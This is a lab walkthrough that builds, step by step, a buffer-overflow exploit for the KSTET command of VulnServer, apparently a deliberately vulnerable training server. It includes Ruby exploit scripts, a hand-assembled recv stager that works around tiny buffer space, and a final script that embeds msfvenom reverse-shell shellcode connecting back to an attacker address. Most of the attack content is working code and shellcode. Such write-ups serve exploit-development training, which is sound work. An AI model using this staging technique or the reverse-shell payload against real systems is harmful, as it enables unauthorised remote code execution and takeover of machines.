VulnServer: KSTET exploit with staged payload using WS2_32.recv

We can crash the service using the following PoC:

#!/usr/bin/ruby
require 'socket'

target = '192.168.1.121'
port = 9999

s = TCPSocket.open(target, port)
s.puts('KSTET /.:/' + 'A' * 5000)
s.close()

We are in front of an EIP override:

crash status

First thing, we will crash the service using a unique string, so that we can calculate the offsets. We can generate the unique string using the following command:

msf-pattern_create -l 5000

And paste it into our script which will now look as follows:

#!/usr/bin/ruby
require 'socket'

target = '192.168.1.121'
port = 9999

payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk"

s = TCPSocket.open(target, port)
s.puts('KSTET /.:/' + payload)
s.close()

Once we crash the service, we can use !mona findmsp to calculate the offsets:

offsets

EIP is at offset 66. ESP comes immediately after it, but it contains only 20 bytes of buffer, which means we have very very little space in ESP, and not much before EIP.

We first find a jmp esp instruction:

jmp esp

We can use the first one at 625011af. We add it to our script, which will now look as follows:

#!/usr/bin/ruby
require 'socket'

target = '192.168.1.121'
port = 9999

#eip offset at 66
payload = "A" * 66
# 0x625011af : jmp esp |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Documents and Settings\werebug\Desktop\Vulnserver\essfunc.dll)
payload += "\xaf\x11\x50\x62"
payload += "C" * 20

s = TCPSocket.open(target, port)
s.puts('KSTET /.:/' + payload)
s.close()

We can follow the execution until the jump to our buffer of C, and then look at where our initial buffer is located:

buffer start location

EIP, which is pointing at our instruction in ESP, is currently pointing at b6fa0c, our first A is at b6f9c6. The difference is 0x46, so we can simply add a relative jump behind to our payload. Our exploit will look as follows:

#!/usr/bin/ruby
require 'socket'

target = '192.168.1.121'
port = 9999

#eip offset at 66
payload = "A" * 66
# 0x625011af : jmp esp |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Documents and Settings\werebug\Desktop\Vulnserver\essfunc.dll)
payload += "\xaf\x11\x50\x62"
#nasm > jmp short -0x46
#00000000  EBB8              jmp short 0xffffffba
payload += "\xeb\xb8"
payload += "C" * 18

s = TCPSocket.open(target, port)
s.puts('KSTET /.:/' + payload)
s.close()

Now we have 66 bytes of buffer to write our payload. Very little for a shell, but enough for a stager that will receive the reverse shell from our machine.

First thing, we want to find the recv call that the machine executes to receive our command. We can restart the application, and in the top-left panel click on Search for > All intermodular calls. If we order the call by name, we can easily find the call to recv:

recv intermodular

We can place a breakpoint on it, resend our payload and have a look at recv parameters:

recv args

There are three information that we need from this screen:

We should also have a look at the official documentation here: https://docs.microsoft.com/en-us/windows/win32/api/winsock/nf-winsock-recv.

The recv function needs 4 arguments:

int recv(
  SOCKET s,
  char   *buf,
  int    len,
  int    flags
);

We need to push these arguments on the stack, in reverse order, before calling the function.

Restart the application and place a breakpoint at the beginning of our shellcode.

Now this would be the time to look for the socket descriptor id in memory, so that we calculate the offset from current ESP and retrieve it dynamically, but in this case we got lucky, if we look at the registers, we see that EBX currently hold the value of the socket descriptor. That’s luck.

We have everything we need to write our shellcode.

First thing we want to do is to align ESP before our payload, to avoid that any stack operation performed by recv could override our payload. Since eax is currently pointing at the very beginning of our buffer, we can move esp with the following two instructions:

push eax
pop esp

We can now push the parameters for recv, I’ll take advantage of the fact that edx value is currently 0:

push edx      ;--- flags = 0
add dh,0x20   ;--- add 512 to edx
push edx      ;--- len = 512
add al,0x40   ;--- add 0x40 to eax, will point in the middle of our buffer
push eax      ;--- buffer = eax+64
pusb ebx      ;--- socket = stored socket descriptor

And now we can call the recv function. We can’t use its address directly, because there’s a null byte and we can’t send it in our payload. We will use a shift:

mov eax, 0x40252C11
shr eax, 8
call eax

We can add all of this together in a file and compile it with nasm. We can then paste the resulting payload into our script, which will look as follows:

#!/usr/bin/ruby
require 'socket'

target = '192.168.1.121'
port = 9999

# call_recv.bin
first_stage = "\xcc\x50\x5c\x52\x80\xc6\x02\x52\x04\x40\x50\x53\xb8\x11\x2c\x25\x40\xc1\xe8\x08\xff\xd0"
#eip offset at 66
first_stage += "\xcc" * (66 - first_stage.length)
# 0x625011af : jmp esp |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Documents and Settings\werebug\Desktop\Vulnserver\essfunc.dll)
first_stage += "\xaf\x11\x50\x62"
#nasm > jmp short -0x46
#00000000  EBB8              jmp short 0xffffffba
first_stage += "\xeb\xb8"
first_stage += "\x90" * 18

payload = "F" * 512

s = TCPSocket.open(target, port)
s.recv(1024)
s.puts('KSTET /.:/' + first_stage)
s.puts(payload)
s.close()

Notice how I’m sending a second payload with a second puts.

We can use this script, and follow the execution (I used some \xcc to make debugging easier), this is how memory looks like before my stager gets executed:

memory before stager

If we reach our call to recv, we can see its parameters correctly pushed into the stack, notice how the second four bytes are a pointer to the memory address 00b6f9fc (reverse order):

args for recv

This memory address is in front of us in the memory, it’s the address we passed as argument of the buffer parameter for the recv call.

If we now let the program continue, our interrupt will be reached and we can look at the memory:

memory after recv

The buffer we sent magically appeared at the memory location we passed to recv. We can see that now we have plenty of buffer to use:

penty of buffer

Now everything left to do would be to send our real payload. But this is the moment when I realized that my stager was very very small and I wondered if I could fit it into the 20 bytes of buffer after EIP, without jumping back to the bigger buffer.

My payload is currently 21 bytes long, so I have one byte too much.

I don’t need to align esp before my payload, as I will jump to it and therefore this will happen automatically, but I still need to retrieve esp value in order to align eax to my buffer destination, so I can’t spare bytes in this process.

What I can do, instead, is looking for the recv function in windows libraries and use its absolute address, which will likely not have null bytes in it.

I can use arwin to find the address:

recv arwin

With this address, I can avoid a shift in my assembly:

[BITS 32]

global _start
_start:

;--- set pointer to buffer location
push esp
pop eax
add al,0x14

;--- pushing parameters
push edx
add dh,0x02
push edx
push eax
push ebx

;--- call recv
mov eax, 0x71a3615a
call eax

I can compile and paste the payload into my exploit. Notice that I had to change the value of the pointer to buffer, now it points 20 bytes ahead of the stack pointer.

My final script look as follows:

#!/usr/bin/ruby
require 'socket'

target = '192.168.1.121'
port = 9999

#eip offset at 66
first_stage = "A" * 66
# 0x625011af : jmp esp |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Documents and Settings\werebug\Desktop\Vulnserver\essfunc.dll)
first_stage += "\xaf\x11\x50\x62"
# call_recv-in-esp.bin 18 bytes
first_stage += "\x54\x58\x04\x14\x52\x80\xc6\x02\x52\x50\x53\xb8\x5a\x61\xa3\x71\xff\xd0"
first_stage += "\x90" * 2

# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.120 LPORT=4567 EXITFUNC=thread -e x86/shikata_ga_nai -b "\x00" -f ruby
payload = "\x90" * 16
payload += "\xd9\xec\xba\x5e\xbf\xb2\xcf\xd9\x74\x24\xf4\x5e\x2b\xc9" +
"\xb1\x52\x31\x56\x17\x83\xc6\x04\x03\x08\xac\x50\x3a\x48" +
"\x3a\x16\xc5\xb0\xbb\x77\x4f\x55\x8a\xb7\x2b\x1e\xbd\x07" +
"\x3f\x72\x32\xe3\x6d\x66\xc1\x81\xb9\x89\x62\x2f\x9c\xa4" +
"\x73\x1c\xdc\xa7\xf7\x5f\x31\x07\xc9\xaf\x44\x46\x0e\xcd" +
"\xa5\x1a\xc7\x99\x18\x8a\x6c\xd7\xa0\x21\x3e\xf9\xa0\xd6" +
"\xf7\xf8\x81\x49\x83\xa2\x01\x68\x40\xdf\x0b\x72\x85\xda" +
"\xc2\x09\x7d\x90\xd4\xdb\x4f\x59\x7a\x22\x60\xa8\x82\x63" +
"\x47\x53\xf1\x9d\xbb\xee\x02\x5a\xc1\x34\x86\x78\x61\xbe" +
"\x30\xa4\x93\x13\xa6\x2f\x9f\xd8\xac\x77\xbc\xdf\x61\x0c" +
"\xb8\x54\x84\xc2\x48\x2e\xa3\xc6\x11\xf4\xca\x5f\xfc\x5b" +
"\xf2\xbf\x5f\x03\x56\xb4\x72\x50\xeb\x97\x1a\x95\xc6\x27" +
"\xdb\xb1\x51\x54\xe9\x1e\xca\xf2\x41\xd6\xd4\x05\xa5\xcd" +
"\xa1\x99\x58\xee\xd1\xb0\x9e\xba\x81\xaa\x37\xc3\x49\x2a" +
"\xb7\x16\xdd\x7a\x17\xc9\x9e\x2a\xd7\xb9\x76\x20\xd8\xe6" +
"\x67\x4b\x32\x8f\x02\xb6\xd5\x70\x7a\xb9\x5d\x19\x79\xb9" +
"\x8c\x0e\xf4\x5f\xc4\xa0\x51\xc8\x71\x58\xf8\x82\xe0\xa5" +
"\xd6\xef\x23\x2d\xd5\x10\xed\xc6\x90\x02\x9a\x26\xef\x78" +
"\x0d\x38\xc5\x14\xd1\xab\x82\xe4\x9c\xd7\x1c\xb3\xc9\x26" +
"\x55\x51\xe4\x11\xcf\x47\xf5\xc4\x28\xc3\x22\x35\xb6\xca" +
"\xa7\x01\x9c\xdc\x71\x89\x98\x88\x2d\xdc\x76\x66\x88\xb6" +
"\x38\xd0\x42\x64\x93\xb4\x13\x46\x24\xc2\x1b\x83\xd2\x2a" +
"\xad\x7a\xa3\x55\x02\xeb\x23\x2e\x7e\x8b\xcc\xe5\x3a\xab" +
"\x2e\x2f\x37\x44\xf7\xba\xfa\x09\x08\x11\x38\x34\x8b\x93" +
"\xc1\xc3\x93\xd6\xc4\x88\x13\x0b\xb5\x81\xf1\x2b\x6a\xa1" +
"\xd3"
payload += "\x90" * (512 - payload.length)

s = TCPSocket.open(target, port)
s.recv(1024)
s.puts('KSTET /.:/' + first_stage)
s.puts(payload)
s.close()

If I run this script against the target machine:

final shell